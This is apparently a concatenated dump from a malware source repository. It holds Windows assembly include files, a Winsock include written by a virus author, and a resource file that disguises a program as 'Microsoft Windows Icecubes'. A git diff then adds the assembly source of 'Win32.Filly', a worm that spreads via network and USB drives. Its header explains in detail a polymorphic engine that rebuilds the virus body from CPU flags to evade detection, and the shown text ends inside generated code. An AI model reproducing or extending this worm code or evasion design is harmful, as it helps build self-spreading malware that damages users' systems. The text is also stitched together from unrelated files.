(WM_USER+20)+LB_SETHORIZONTALEXTENT = (WM_USER+21)+LB_SETTOPINDEX = (WM_USER+24)+LB_GETITEMRECT = (WM_USER+25)+LB_GETITEMDATA = (WM_USER+26)+LB_SETITEMDATA = (WM_USER+27)+LB_SELITEMRANGE = (WM_USER+28)+LB_SETCARETINDEX = (WM_USER+31)+LB_GETCARETINDEX = (WM_USER+32)+IFNDEF NOWIN31+LB_SETITEMHEIGHT = (WM_USER+33)+LB_GETITEMHEIGHT = (WM_USER+34)+LB_FINDSTRINGEXACT = (WM_USER+35)+ENDIF++ENDIF+; NOWINMESSAGES++; Listbox Styles+LBS_NOTIFY = 0001h+LBS_SORT = 0002h+LBS_NOREDRAW = 0004h+LBS_MULTIPLESEL = 0008h+LBS_OWNERDRAWFIXED = 0010h+LBS_OWNERDRAWVARIABLE = 0020h+LBS_HASSTRINGS = 0040h+LBS_USETABSTOPS = 0080h+LBS_NOINTEGRALHEIGHT = 0100h+LBS_MULTICOLUMN = 0200h+LBS_WANTKEYBOARDINPUT = 0400h+LBS_EXTENDEDSEL = 0800h+LBS_STANDARD = LBS_NOTIFY + LBS_SORT + WS_VSCROLL + WS_BORDER+LBS_DISABLENOSCROLL = 1000h++; Listbox Notification Codes+LBN_ERRSPACE = (-2)+LBN_SELCHANGE = 1+LBN_DBLCLK = 2+LBN_SELCANCEL = 3+LBN_SETFOCUS = 4+LBN_KILLFOCUS = 5++IFNDEF NOWINMESSAGES++; Edit Control Messages+EM_GETSEL = (WM_USER+0)+EM_SETSEL = (WM_USER+1)+EM_GETRECT = (WM_USER+2)+EM_SETRECT = (WM_USER+3)+EM_SETRECTNP = (WM_USER+4)+EM_SCROLL = (WM_USER+5)+EM_LINESCROLL = (WM_USER+6)+EM_GETMODIFY = (WM_USER+8)+EM_SETMODIFY = (WM_USER+9)+EM_GETLINECOUNT = (WM_USER+10)+EM_LINEINDEX = (WM_USER+11)+EM_SETHANDLE = (WM_USER+12)+EM_GETHANDLE = (WM_USER+13)+EM_LINELENGTH = (WM_USER+17)+EM_REPLACESEL = (WM_USER+18)+EM_SETFONT = (WM_USER+19)+EM_GETLINE = (WM_USER+20)+EM_LIMITTEXT = (WM_USER+21)+EM_CANUNDO = (WM_USER+22)+EM_UNDO = (WM_USER+23)+EM_FMTLINES = (WM_USER+24)+EM_LINEFROMCHAR = (WM_USER+25)+EM_SETWORDBREAK = (WM_USER+26)+EM_SETTABSTOPS = (WM_USER+27)+EM_SETPASSWORDCHAR = (WM_USER+28)+EM_EMPTYUNDOBUFFER = (WM_USER+29)+IFNDEF NOWIN31+EM_GETFIRSTVISIBLELINE = (WM_USER+30)+EM_SETREADONLY = (WM_USER+31)+EM_SETWORDBREAKPROC = (WM_USER+32)+EM_GETWORDBREAKPROC = (WM_USER+33)+EM_GETPASSWORDCHAR = (WM_USER+34)+ENDIF++ENDIF+; NOWINMESSAGES+++; Edit Control Styles (low word)+ES_LEFT = 0000h+ES_CENTER = 0001h+ES_RIGHT = 0002h+ES_MULTILINE = 0004h+ES_UPPERCASE = 0008h+ES_LOWERCASE = 0010h+ES_PASSWORD = 0020h+ES_AUTOVSCROLL = 0040h+ES_AUTOHSCROLL = 0080h+ES_NOHIDESEL = 0100h+ES_OEMCONVERT = 0400h+IFNDEF NOWIN31+ES_READONLY = 0800h+ES_WANTRETURN = 1000h+ENDIF+++; Edit Control Notification Codes+EN_SETFOCUS = 0100h+EN_KILLFOCUS = 0200h+EN_CHANGE = 0300h+EN_UPDATE = 0400h+EN_ERRSPACE = 0500h+EN_MAXTEXT = 0501h+EN_HSCROLL = 0601h+EN_VSCROLL = 0602h++IFNDEF NOWINMESSAGES++; Button Control Messages+BM_GETCHECK = (WM_USER+0)+BM_SETCHECK = (WM_USER+1)+BM_GETSTATE = (WM_USER+2)+BM_SETSTATE = (WM_USER+3)+BM_SETSTYLE = (WM_USER+4)++ENDIF+; NOWINMESSAGES++; Button Control Styles (low word)+BS_PUSHBUTTON = 00h+BS_DEFPUSHBUTTON = 01h+BS_CHECKBOX = 02h+BS_AUTOCHECKBOX = 03h+BS_RADIOBUTTON = 04h+BS_3STATE = 05h+BS_AUTO3STATE = 06h+BS_GROUPBOX = 07h+BS_USERBUTTON = 08h+BS_AUTORADIOBUTTON = 09h+BS_OWNERDRAW = 0Bh+BS_LEFTTEXT = 20h++; User Button Notification Codes+BN_CLICKED = 0+BN_PAINT = 1+BN_HILITE = 2+BN_UNHILITE = 3+BN_DISABLE = 4+BN_DOUBLECLICKED = 5++; Dialog Styles (low words)+DS_ABSALIGN = 01h+DS_SYSMODAL = 02h+DS_LOCALEDIT = 20h ;/* Edit items get Local storage. */+DS_SETFONT = 40h ;/* User specified font for Dlg controls */+DS_MODALFRAME = 80h ;/* Can be combined with WS_CAPTION */+DS_NOIDLEMSG = 100h ;/* WM_ENTERIDLE message will not be sent */++IFNDEF NOWINMESSAGES++; Dialog box messages+DM_GETDEFID = (WM_USER+0)+DM_SETDEFID = (WM_USER+1)++ENDIF ;NOWINMESSAGES++; Dialog Codes+DLGC_WANTARROWS = 0001h ; /* Control wants arrow keys */+DLGC_WANTTAB = 0002h ; /* Control wants tab keys */+DLGC_WANTALLKEYS = 0004h ; /* Control wants all keys */+DLGC_WANTMESSAGE = 0004h ; /* Pass message to control */+DLGC_HASSETSEL = 0008h ; /* Understands EM_SETSEL message */+DLGC_DEFPUSHBUTTON = 0010h ; /* Default pushbutton */+DLGC_UNDEFPUSHBUTTON= 0020h ; /* Non-default pushbutton */+DLGC_RADIOBUTTON = 0040h ; /* Radio button */+DLGC_WANTCHARS = 0080h ; /* Want WM_CHAR messages */+DLGC_STATIC = 0100h ; /* Static item: don't include */+DLGC_BUTTON = 2000h ; /* Button item: can be checked */++; Combo Box return Values+CB_OKAY = 0+CB_ERR = (-1)+CB_ERRSPACE = (-2)++; Combo Box Notification Codes+CBN_ERRSPACE = (-1)+CBN_SELCHANGE = 1+CBN_DBLCLK = 2+CBN_SETFOCUS = 3+CBN_KILLFOCUS = 4+CBN_EDITCHANGE = 5+CBN_EDITUPDATE = 6+CBN_DROPDOWN = 7++; Combo Box styles (low words)+CBS_SIMPLE = 0001h+CBS_DROPDOWN = 0002h+CBS_DROPDOWNLIST = 0003h+CBS_OWNERDRAWFIXED = 0010h+CBS_OWNERDRAWVARIABLE= 0020h+CBS_AUTOHSCROLL = 0040h+CBS_OEMCONVERT = 0080h+CBS_SORT = 0100h+CBS_HASSTRINGS = 0200h+CBS_NOINTEGRALHEIGHT = 0400h++IFNDEF NOWINMESSAGES++; Combo Box messages+CB_GETEDITSEL = (WM_USER+0)+CB_LIMITTEXT = (WM_USER+1)+CB_SETEDITSEL = (WM_USER+2)+CB_ADDSTRING = (WM_USER+3)+CB_DELETESTRING = (WM_USER+4)+CB_DIR = (WM_USER+5)+CB_GETCOUNT = (WM_USER+6)+CB_GETCURSEL = (WM_USER+7)+CB_GETLBTEXT = (WM_USER+8)+CB_GETLBTEXTLEN = (WM_USER+9)+CB_INSERTSTRING = (WM_USER+10)+CB_RESETCONTENT = (WM_USER+11)+CB_FINDSTRING = (WM_USER+12)+CB_SELECTSTRING = (WM_USER+13)+CB_SETCURSEL = (WM_USER+14)+CB_SHOWDROPDOWN = (WM_USER+15)+CB_GETITEMDATA = (WM_USER+16)+CB_SETITEMDATA = (WM_USER+17)+IFNDEF NOWIN31+CB_GETDROPPEDCONTROLRECT = (WM_USER+18)+CB_SETITEMHEIGHT = (WM_USER+19)+CB_GETITEMHEIGHT = (WM_USER+20)+CB_SETEXTENDEDUI = (WM_USER+21)+CB_GETEXTENDEDUI = (WM_USER+22)+CB_GETDROPPEDSTATE = (WM_USER+23)+CB_FINDSTRINGEXACT = (WM_USER+24)+ENDIF++ENDIF ; NOWINMESSAGES++; Static Control styles (low word)+SS_LEFT = 00h+SS_CENTER = 01h+SS_RIGHT = 02h+SS_ICON = 03h+SS_BLACKRECT = 04h+SS_GRAYRECT = 05h+SS_WHITERECT = 06h+SS_BLACKFRAME = 07h+SS_GRAYFRAME = 08h+SS_WHITEFRAME = 09h+SS_SIMPLE = 0Bh+SS_LEFTNOWORDWRAP = 0Ch+SS_NOPREFIX = 80h ; Don't do "&" character translation++IFNDEF NOWIN31+IFNDEF NOWINMESSAGES++;Static Control Messages+STM_SETICON = (WM_USER+0)+STM_GETICON = (WM_USER+1)+ENDIF+ENDIF++; Scroll Bar Styles (low word)+SBS_HORZ = 0000h+SBS_VERT = 0001h+SBS_TOPALIGN = 0002h+SBS_LEFTALIGN = 0002h+SBS_BOTTOMALIGN = 0004h+SBS_RIGHTALIGN = 0004h+SBS_SIZEBOXTOPLEFTALIGN = 0002h+SBS_SIZEBOXBOTTOMRIGHTALIGN = 0004h+SBS_SIZEBOX = 0008h++IFNDEF NOSYSMETRICS++; GetSystemMetrics() codes+SM_CXSCREEN = 0+SM_CYSCREEN = 1+SM_CXVSCROLL = 2+SM_CYHSCROLL = 3+SM_CYCAPTION = 4+SM_CXBORDER = 5+SM_CYBORDER = 6+SM_CXDLGFRAME = 7+SM_CYDLGFRAME = 8+SM_CYVTHUMB = 9+SM_CXHTHUMB = 10+SM_CXICON = 11+SM_CYICON = 12+SM_CXCURSOR = 13+SM_CYCURSOR = 14+SM_CYMENU = 15+SM_CXFULLSCREEN = 16+SM_CYFULLSCREEN = 17+SM_CYKANJIWINDOW = 18+SM_MOUSEPRESENT = 19+SM_CYVSCROLL = 20+SM_CXHSCROLL = 21+SM_DEBUG = 22+SM_SWAPBUTTON = 23+SM_RESERVED1 = 24+SM_RESERVED2 = 25+SM_RESERVED3 = 26+SM_RESERVED4 = 27+SM_CXMIN = 28+SM_CYMIN = 29+SM_CXSIZE = 30+SM_CYSIZE = 31+SM_CXFRAME = 32+SM_CYFRAME = 33+SM_CXMINTRACK = 34+SM_CYMINTRACK = 35+IFNDEF NOWIN31+SM_CXDOUBLECLK = 36+SM_CYDOUBLECLK = 37+SM_CXICONSPACING = 38+SM_CYICONSPACING = 39+SM_MENUDROPALIGNMENT = 40+SM_PENWINDOWS = 41+SM_DBCSENABLED = 42+ENDIF+SM_CMETRICSMAX = 43++ENDIF ;NOSYSMETRICS++IFNDEF NOCOLOR++COLOR_SCROLLBAR = 0+COLOR_BACKGROUND = 1+COLOR_ACTIVECAPTION = 2+COLOR_INACTIVECAPTION = 3+COLOR_MENU = 4+COLOR_WINDOW = 5+COLOR_WINDOWFRAME = 6+COLOR_MENUTEXT = 7+COLOR_WINDOWTEXT = 8+COLOR_CAPTIONTEXT = 9+COLOR_ACTIVEBORDER = 10+COLOR_INACTIVEBORDER = 11+COLOR_APPWORKSPACE = 12+COLOR_HIGHLIGHT = 13+COLOR_HIGHLIGHTTEXT = 14+COLOR_BTNFACE = 15+COLOR_BTNSHADOW = 16+COLOR_GRAYTEXT = 17+COLOR_BTNTEXT = 18+IFNDEF NOWIN31+COLOR_INACTIVECAPTIONTEXT = 19+COLOR_BTNHILIGHT = 20+ENDIF+ENDIF ;NOCOLOR++; Commands to pass WinHelp()+HELP_CONTEXT =0001h ;/* Display topic in ulTopic */+HELP_QUIT =0002h ;/* Terminate help */+HELP_INDEX =0003h ;/* Display index */+HELP_HELPONHELP =0004h ;/* Display help on using help */+HELP_SETINDEX =0005h ;/* Set the current Index for multi index help */+HELP_KEY =0101h ;/* Display topic for keyword in offabData */++IFNDEF NOCOMM++NOPARITY = 0+ODDPARITY = 1+EVENPARITY = 2+MARKPARITY = 3+SPACEPARITY = 4++ONESTOPBIT = 0+ONE5STOPBITS = 1+TWOSTOPBITS = 2++IGNORE = 0 ; /* Ignore signal */+INFINITE = 0FFFFh ; /* Infinite timeout */++; Error Flags+CE_RXOVER = 0001h ; /* Receive Queue overflow */+CE_OVERRUN = 0002h ; /* Receive Overrun Error */+CE_RXPARITY = 0004h ; /* Receive Parity Error */+CE_FRAME = 0008h ; /* Receive Framing error */+CE_BREAK = 0010h ; /* Break Detected */+CE_CTSTO = 0020h ; /* CTS Timeout */+CE_DSRTO = 0040h ; /* DSR Timeout */+CE_RLSDTO = 0080h ; /* RLSD Timeout */+CE_TXFULL = 0100h ; /* TX Queue is full */+CE_PTO = 0200h ; /* LPTx Timeout */+CE_IOE = 0400h ; /* LPTx I/O Error */+CE_DNS = 0800h ; /* LPTx Device not selected */+CE_OOP = 1000h ; /* LPTx Out-Of-Paper */+CE_MODE = 8000h ; /* Requested mode unsupported */++IE_BADID = (-1) ; /* Invalid or unsupported id */+IE_OPEN = (-2) ; /* Device Already Open */+IE_NOPEN = (-3) ; /* Device Not Open */+IE_MEMORY = (-4) ; /* Unable to allocate queues */+IE_DEFAULT = (-5) ; /* Error in default parameters */+IE_HARDWARE = (-10) ; /* Hardware Not Present */+IE_BYTESIZE = (-11) ; /* Illegal Byte Size */+IE_BAUDRATE = (-12) ; /* Unsupported BaudRate */++; Events+EV_RXCHAR = 0001h ; /* Any Character received */+EV_RXFLAG = 0002h ; /* Received certain character */+EV_TXEMPTY = 0004h ; /* Transmitt Queue Empty */+EV_CTS = 0008h ; /* CTS changed state */+EV_DSR = 0010h ; /* DSR changed state */+EV_RLSD = 0020h ; /* RLSD changed state */+EV_BREAK = 0040h ; /* BREAK received */+EV_ERR = 0080h ; /* Line status error occurred */+EV_RING = 0100h ; /* Ring signal detected */+EV_PERR = 0200h ; /* Printer error occured */+EV_CTSS = 0400h ; /* CTS state */+EV_DSRS = 0800h ; /* DSR state */+EV_RLSDS = 1000h ; /* RLSD state */+EV_RingTe = 2000h ; /* Ring Trailing Edge Indicator */+++; Escape Functions+SETXOFF = 1 ; /* Simulate XOFF received */+SETXON = 2 ; /* Simulate XON received */+SETRTS = 3 ; /* Set RTS high */+CLRRTS = 4 ; /* Set RTS low */+SETDTR = 5 ; /* Set DTR high */+CLRDTR = 6 ; /* Set DTR low */+RESETDEV = 7 ; /* Reset device if possible */++LPTx = 80h ; /* Set if ID is for LPT device */++IFNDEF NOWIN31+; new escape functions+GETMAXLPT equ 8 ; Max supported LPT id+GETMAXCOM equ 9 ; Max supported COM id+GETBASEIRQ equ 10 ; Get port base & irq for a port++; Comm Baud Rate indices+CBR_110 equ 0FF10h+CBR_300 equ 0FF11h+CBR_600 equ 0FF12h+CBR_1200 equ 0FF13h+CBR_2400 equ 0FF14h+CBR_4800 equ 0FF15h+CBR_9600 equ 0FF16h+CBR_14400 equ 0FF17h+CBR_19200 equ 0FF18h+; 0FF19h (reserved)+; 0FF1Ah (reserved)+CBR_38400 equ 0FF1Bh+; 0FF1Ch (reserved)+; 0FF1Dh (reserved)+; 0FF1Eh (reserved)+CBR_56000 equ 0FF1Fh+; 0FF20h (reserved)+; 0FF21h (reserved)+; 0FF22h (reserved)+CBR_128000 equ 0FF23h+; 0FF24h (reserved)+; 0FF25h (reserved)+; 0FF26h (reserved)+CBR_256000 equ 0FF27h++; notifications passed in low word of lParam on WM_COMMNOTIFY messages+CN_RECEIVE equ 1 ; bytes are available in the input queue+CN_TRANSMIT equ 2 ; fewer than wOutTrigger bytes still+ ; remain in the output queue waiting+ ; to be transmitted.+CN_EVENT equ 4 ; an enabled event has occurred++ENDIF+++DCB struc+ DCB_Id db ? ; /* Internal Device ID */+ DCB_BaudRate dw ? ; /* Baudrate at which runing */+ DCB_ByteSize db ? ; /* Number of bits/byte, 4-8 */+ DCB_Parity db ? ; /* 0-4=None,Odd,Even,Mark,Space */+ DCB_StopBits db ? ; /* 0,1,2 = 1, 1.5, 2 */+ DCB_RlsTimeout dw ? ; /* Timeout for RLSD to be set */+ DCB_CtsTimeout dw ? ; /* Timeout for CTS to be set */+ DCB_DsrTimeout dw ? ; /* Timeout for DSR to be set */++ DCB_BitMask1 db ?++ ; BYTE fBinary: 1; /* Binary Mode (skip EOF check */+ ; BYTE fRtsDisable:1; /* Don't assert RTS at init time */+ ; BYTE fParity: 1; /* Enable parity checking */+ ; BYTE fOutxCtsFlow:1; /* CTS handshaking on output */+ ; BYTE fOutxDsrFlow:1; /* DSR handshaking on output */+ ; BYTE fDummy: 2; /* Reserved */+ ; BYTE fDtrDisable:1; /* Don't assert DTR at init time */++ DCB_BitMask2 db ?++ ; BYTE fOutX: 1; /* Enable output X-ON/X-OFF */+ ; BYTE fInX: 1; /* Enable input X-ON/X-OFF */+ ; BYTE fPeChar: 1; /* Enable Parity Err Replacement */+ ; BYTE fNull: 1; /* Enable Null stripping */+ ; BYTE fChEvt: 1; /* Enable Rx character event. */+ ; BYTE fDtrflow: 1; /* DTR handshake on input */+ ; BYTE fRtsflow: 1; /* RTS handshake on input */+ ; BYTE fDummy2: 1;++ DCB_XonChar db ? ; /* Tx and Rx X-ON character */+ DCB_XoffChar db ? ; /* Tx and Rx X-OFF character */+ DCB_XonLim dw ? ; /* Transmit X-ON threshold */+ DCB_XoffLim dw ? ; /* Transmit X-OFF threshold */+ DCB_PeChar db ? ; /* Parity error replacement char */+ DCB_EofChar db ? ; /* End of Input character */+ DCB_EvtChar db ? ; /* Recieved Event character */+ DCB_TxDelay dw ? ; /* Amount of time between chars */+DCB ends++COMSTAT struc+ COMS_BitMask1 db ?++; BYTE fCtsHold: 1; /* Transmit is on CTS hold */+; BYTE fDsrHold: 1; /* Transmit is on DSR hold */+; BYTE fRlsdHold: 1; /* Transmit is on RLSD hold */+; BYTE fXoffHold: 1; /* Received handshake */+; BYTE fXoffSent: 1; /* Issued handshake */+; BYTE fEof: 1; /* End of file character found */+; BYTE fTxim: 1; /* Character being transmitted */+++ COMS_cbInQue dw ? ; /* count of characters in Rx Queue */+ COMS_cbOutQue dw ? ; /* count of characters in Tx Queue */+COMSTAT ends++ENDIF ;NOCOM++;+; Installable Driver Support+;+; Driver Messages+DRV_LOAD = 0001h+DRV_ENABLE = 0002h+DRV_OPEN = 0003h+DRV_CLOSE = 0004h+DRV_DISABLE = 0005h+DRV_FREE = 0006h+DRV_CONFIGURE = 0007h+DRV_QUERYCONFIGURE = 0008h+DRV_INSTALL = 0009h+DRV_REMOVE = 000Ah+DRV_EXITSESSION = 000Bh+DRV_POWER = 000Fh+DRV_RESERVED = 0800h+DRV_USER = 4000h++;LPARAM of DRV_CONFIGURE message and return values+DRVCONFIGINFO struc+ DRVCNF_dwDCISize dw ?+ DRVCNF_lpszDCISectionName dd ?+ DRVCNF_lpszDCIAliasName dd ?+DRVCONFIGINFO ends++DRVCNF_CANCEL = 0000h+DRVCNF_OK = 0001h+DRVCNF_RESTART = 0002h+++IFNDEF NOKERNEL+;+; Common Kernel errors+;+ERR_GALLOC = 01030h ; GlobalAlloc Failed+ERR_GREALLOC = 01031h ; GlobalReAlloc Failed+ERR_GLOCK = 01032h ; GlobalLock Failed+ERR_LALLOC = 01033h ; LocalAlloc Failed+ERR_LREALLOC = 01034h ; LocalReAlloc Failed+ERR_LLOCK = 01035h ; LocalLock Failed+ERR_ALLOCRES = 01036h ; AllocResource Failed+ERR_LOCKRES = 01037h ; LockResource Failed+ERR_LOADMODULE = 01038h ; LoadModule failed++;+; Common User Errors+;+ERR_CREATEDLG = 01045h ; /* Create Dlg failure due to LoadMenu failure */+ERR_CREATEDLG2 = 01046h ; /* Create Dlg failure due to CreateWindow Failure */+ERR_REGISTERCLASS = 01047h ; /* RegisterClass failure due to Class already registered */+ERR_DCBUSY = 01048h ; /* DC Cache is full */+ERR_CREATEWND = 01049h ; /* Create Wnd failed due to class not found */+ERR_STRUCEXTRA = 01050h ; /* Unallocated Extra space is used */+ERR_LOADSTR = 01051h ; /* LoadString() failed */+ERR_LOADMENU = 01052h ; /* LoadMenu Failed */+ERR_NESTEDBEGINPAINT = 01053h ; /* Nested BeginPaint() calls */+ERR_BADINDEX = 01054h ; /* Bad index to Get/Set Class/Window Word/Long */+ERR_CREATEMENU = 01055h ; /* Error creating menu */++;+; Common GDI Errors+;+ERR_CREATEDC = 01070h ; /* CreateDC/CreateIC etc., failure */+ERR_CREATEMETA = 01071h ; /* CreateMetafile failure */+ERR_DELOBJSELECTED = 01072h ; /* Bitmap being deleted is selected into DC */+ERR_SELBITMAP = 01073h ; /* Bitmap being selected is already selected elsewhere */++ENDIF ;NOKERNEL+��������������������������������������������������������������[WINDOWS.INC]���+���������������������������������������������������������������[WSOCKS.INC]���+;+; WSocks.inc: include file for windows sockets .+; Designed for TASM5 and Win32.+;+; (C) 1999 Bumblebee.+;+; This file contains basic structures and stuff to work+; with windows sockets.+;++; Descriptions of the API:+; arguments in order of PUSH ;)++; only for debug+extrn WSAGetLastError:PROC++; starts the use of winsock dll+; addr WSADATA, version requested+; returns: 0 ok+extrn WSAStartup:PROC++; terminates the use of winsock dll+; returns: SOCK_ERR on error+extrn WSACleanup:PROC++; opens a new socket+; protocol (PCL_NONE), type (SOCK_??), addr format (AF_??)+; returns: socket id or SOCKET_ERR (socket is dw)+extrn socket:PROC++; closes a socket+; socket descriptor+;+extrn closesocket:PROC++; sends data (this socks are a shit... Unix uses simple write)+; flags (1 OOB data or 0 normal ) , length, addr of buffer, socket+; returns: caracters sent or SOCKET_ERR on error+extrn send:PROC++; reveives data (this socks are a shit... Unix uses simple read)+; flags (use 0), length, addr of buffer, socket+; returns: caracters sent or SOCKET_ERR on error+extrn recv:PROC++; connects to a server+; sizeof struct SOCKADDR, struct SOCKADDR, socket+; returns: SOCKET_ERR on error+extrn connect:PROC++; gets the name of the current host+; length of the buffer for name, addr of buffer for name+; return: SOCKET_ERR on error+extrn gethostname:PROC++; gets strcut hostent+; addr of name+; returns: ponter to the struct or 0 on error+extrn gethostbyname:PROC++; converts a zstring like "xxx.xxx.xx...." to netw byte order+; zstring ptr to change to dotted addr format+; returns: in_addr (dd)+extrn inet_addr:PROC++; dw to convert into netw byte order (usually the port)+; returns: the value in network byte order (dw)+extrn htons:PROC++; Structs :o++; sockaddr struct for connection+; modified (for better use)+; if you want the original look for it into a winsock.h+SOCKADDR struct+sin_family dw 0 ; ex. AF_INET+sin_port dw 0 ; use htons for this+sin_addr dd 0 ; here goes server node (from inet_addr)+sin_zero db 8 dup(0)+SOCKADDR ends++; for WSAStartup diagnose+WSADATA struct+mVersion dw 0+mHighVersion dw 0+szDescription db 257 dup(0)+szSystemStatus db 129 dup(0)+iMaxSockets dw 0+iMaxUpdDg dw 0+lpVendorInfo dd 0+WSADATA ends++; Some nice equs++; what version of winsock do you need? (usually 1.1)+VERSION1_0 equ 0100h+VERSION1_1 equ 0101h+VERSION2_0 equ 0200h++AF_UNIX equ 1 ; local host+AF_INET equ 2 ; internet (most used)+AF_IMPLINK equ 3 ; arpanet+AF_NETBIOS equ 17 ; NetBios style addresses++; types of sockets+SOCK_STREAM equ 1 ; stream (connection oriented; telnet like)+SOCK_DGRAM equ 2 ; datagram (packets, packets, packets)++; protocol+PCL_NONE equ 0 ; none (define the protocol not needed)++SOCKET_ERR equ -1 ; standard winsock error++HOSTENT_IP equ 10h ; where is the IP into the hostent struct+���������������������������������������������������������������[WSOCKS.INC]���+��������������������������������������������������������������[ICECUBES.RC]���+#define IDM_ABOUTBOX 0x0010+#define IDD_ABOUTBOX 100+#define IDS_ABOUTBOX 101+#define IDD_VKS_DIALOG_0 102+#define IDD_VKS_DIALOG_1 103+#define IDR_MAINFRAME 128+#define IDC_CHECK1 1000+#define IDC_CHECK2 1001+#define IDC_EDIT3 1003+#define IDC_SPIN1 1018+#define IDC_COMBO1 1004+#define IDC_EDIT1 1005+#define IDC_CHECK3 1006+#define IDC_CHECK4 1007+#define IDC_EDIT2 1008+#define IDC_BUTTON1 1009+#define IDC_BUTTON2 1014+#define IDC_CHECK5 1010+#define IDC_RADIO1 1012+#define IDC_RADIO2 1013+#define IDC_STATIC 1015+#define IDC_STATIC2 1016+++11 ICON "icecubes.ico"++IDD_VKS_DIALOG_0 DIALOG 0, 0, 255, 20+STYLE DS_MODALFRAME | DS_3DLOOK | DS_CENTER | WS_POPUP | WS_VISIBLE |+ WS_CAPTION | WS_SYSMENU+CAPTION "Scanning system for Microsoft Windows Icecubes..."+FONT 8, "Verdana"+BEGIN+ CONTROL "",105,"msctls_progress32",WS_CLIPSIBLINGS,5,5,244,11+END+++IDD_VKS_DIALOG_1 DIALOG 0, 0, 233, 252+STYLE DS_MODALFRAME | DS_3DLOOK | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU+EXSTYLE WS_EX_APPWINDOW+CAPTION "Microsoft Windows Icecubes"+FONT 8, "MS Sans Serif"+BEGIN++ LTEXT "Manufacturer's default settings (not to be edited)",+ IDC_STATIC,13,8,200,8++ GROUPBOX "Endurance options",IDC_STATIC,7,23,218,53+ CONTROL "Crash every",IDC_CHECK1,"Button",BS_AUTOCHECKBOX |+ WS_TABSTOP,15,36,50,10+ CONTROL "Crash after",IDC_CHECK2,"Button",BS_AUTOCHECKBOX |+ WS_TABSTOP,15,54,50,10++ EDITTEXT IDC_EDIT3,75,35,34,12,ES_AUTOHSCROLL+ CONTROL "Spin1",IDC_SPIN1,"msctls_updown32",UDS_ARROWKEYS,108,35,+ 8,12++ COMBOBOX IDC_COMBO1,130,35,72,85,CBS_DROPDOWNLIST | CBS_SORT |+ WS_VSCROLL | WS_TABSTOP++ EDITTEXT IDC_EDIT1,75,53,43,13,ES_AUTOHSCROLL+ LTEXT "bytes of un-saved changes",IDC_STATIC,130,55,94,13+++ GROUPBOX "Save options",IDC_STATIC,7,81,218,69+ CONTROL "Create incredibly large files",IDC_CHECK3,"Button",+ BS_AUTOCHECKBOX | WS_TABSTOP,15,94,163,10+ CONTROL "Allow me to carry on typing during AutoRecovery saves",+ IDC_CHECK4,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,15,112,+ 195,10+ LTEXT "Fail AutoRecovery at",IDC_STATIC,25,130,120,13+ LTEXT "percent",IDC_STATIC2,125,130,50,13++ EDITTEXT IDC_EDIT2,100,128,18,12,ES_AUTOHSCROLL++ GROUPBOX "Other options",IDC_STATIC,7,157,218,70+ CONTROL "Decrease boot speed by 70%",IDC_CHECK5,"Button",+ BS_AUTOCHECKBOX | WS_TABSTOP,15,170,190,14+ CONTROL "constantly",IDC_RADIO1,"Button",BS_AUTORADIOBUTTON,35,+ 198,48,10+ CONTROL "when I least expect it",IDC_RADIO2,"Button",+ BS_AUTORADIOBUTTON,35,210,83,10+ LTEXT "Annoy me with that sodding paperclip",IDC_STATIC,25,186,+ 136,10++ PUSHBUTTON "Cancel",IDC_BUTTON1,122,233,50,12+ DEFPUSHBUTTON "Ok",IDC_BUTTON2,64,233,50,12++END+++diff --git a/Worms/InternetWorm/README.md b/Worms/InternetWorm/README.mdnew file mode 100644index 0000000..cb32a27--- /dev/null+++ b/Worms/InternetWorm/README.md@@ -0,0 +1,3 @@++# Win32 Worms+ diff --git a/Worms/InternetWorm/Virus.Win32.Filly.asm b/Worms/InternetWorm/Virus.Win32.Filly.asmnew file mode 100644index 0000000..02a0add--- /dev/null+++ b/Worms/InternetWorm/Virus.Win32.Filly.asm@@ -0,0 +1,1960 @@+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;+;; Win32.Filly+;; by SPTH+;; February 2012+;;+;;+;; This is a worm which spreads via network/removable/USB drives.+;;+;; It uses a novel polymorphic engine, namely the virusbody is created+;; at runtime using flags. The virusbody does not exist in any encrypted+;; data or transformed code, but just appears as shadow of the execution of+;; some overlayed instruction-flow.+;;+;; Every nibble (half byte) of the virus is represented as a code which+;; sets or clears SF,AF,PF,CF. After the code snippet of one nibble is+;; executed, either LAHF or PUSHFD is used to get the flags. The flags+;; are saved in an allocated memory, which will be executed after+;; the reconstruction.+;;+;; It can use one out of 5 ways to fully determine SF,AF,PF,CF:+;;+;; 5 | 0+4 | 1+4 | 2+4 | 4+0+;;+;; where each number represents a set of instruction with different behaviour+;; with respect to flags:+;;+;; 0: CF:+;; ROL, ROR+;;+;; 1: AF, CF (PF, SF undefined):+;; AAA, AAS+;;+;; 2: CF PF (AF undefined, SF undefined);+;; SHL, SHR, SAL, SAR+;;+;; 3: PF SF (AF undefined, CF undefined):+;; AND, XOR, TEST+;;+;; 4: AF PF SF:+;; DEC, INC+;;+;; 5: AF CF PF SF:+;; ADD, CMP, NEG, SUB+;;+;; All sets can be used as functional trash code, prior to the actual determining+;; instruction sets. Registers and type (Instr Reg1, Reg2 or Instr Reg1, NNNN) are+;; random in that case.+;;+;; For finding the correct composition of instruction and register values to get+;; the the desired flag combination, I use a semi-deterministic algorithm. This means+;; i give correct flag dependences, the the code goes in a loop searching randomly+;; for correct parameters - for each nibble of the code. In some cases, a desired+;; combination of flags can not be created with the choosen instruction - in that case+;; after 42 loops, an infinite-loop handler is called, which exits the loops and choses+;; another instruction to create the flag-combination. This procedere is unexpectedly+;; fast - in fact, even there are ~6100 random loops running, there is no noticeable+;; delay.+;;+;; The encrypted code-flow has a different size each generation. As its boring to code a+;; file size adjustment tool, I keep a constant filesize with following statistical+;; argument: In a set of 20 different files, I looked at the maximum size the used+;; code section: 175713, 175477, 175261, 175262, 177070, 176241, 177109, 175749, 172610,+;; 176471, 174657, 174682, 175275, 176186, 176004, 174359, 173549, 174638, 174684, 173893 bytes.+;; Average of the set: 175269 +/- 1148.65.+;; For padding, I used average + 7 sigma = 183'312. The probability that something+;; goes wrong is 1 / (390'682'215'445), while the probability that everything goes+;; right is 99.999999999744% - this is enough for my taste :)+;;+;; Now here you can see a generated code:+;;+;; 004020B5 . B8 A0AC599E MOV EAX,9E59ACA0+;; 004020BA . C1E0 82 SHL EAX,82+;; 004020BD . B8 A5AF1B60 MOV EAX,601BAFA5+;; 004020C2 . 48 DEC EAX+;; 004020C3 . 9C PUSHFD+;; 004020C4 . 5A POP EDX+;; 004020C5 . 8817 MOV 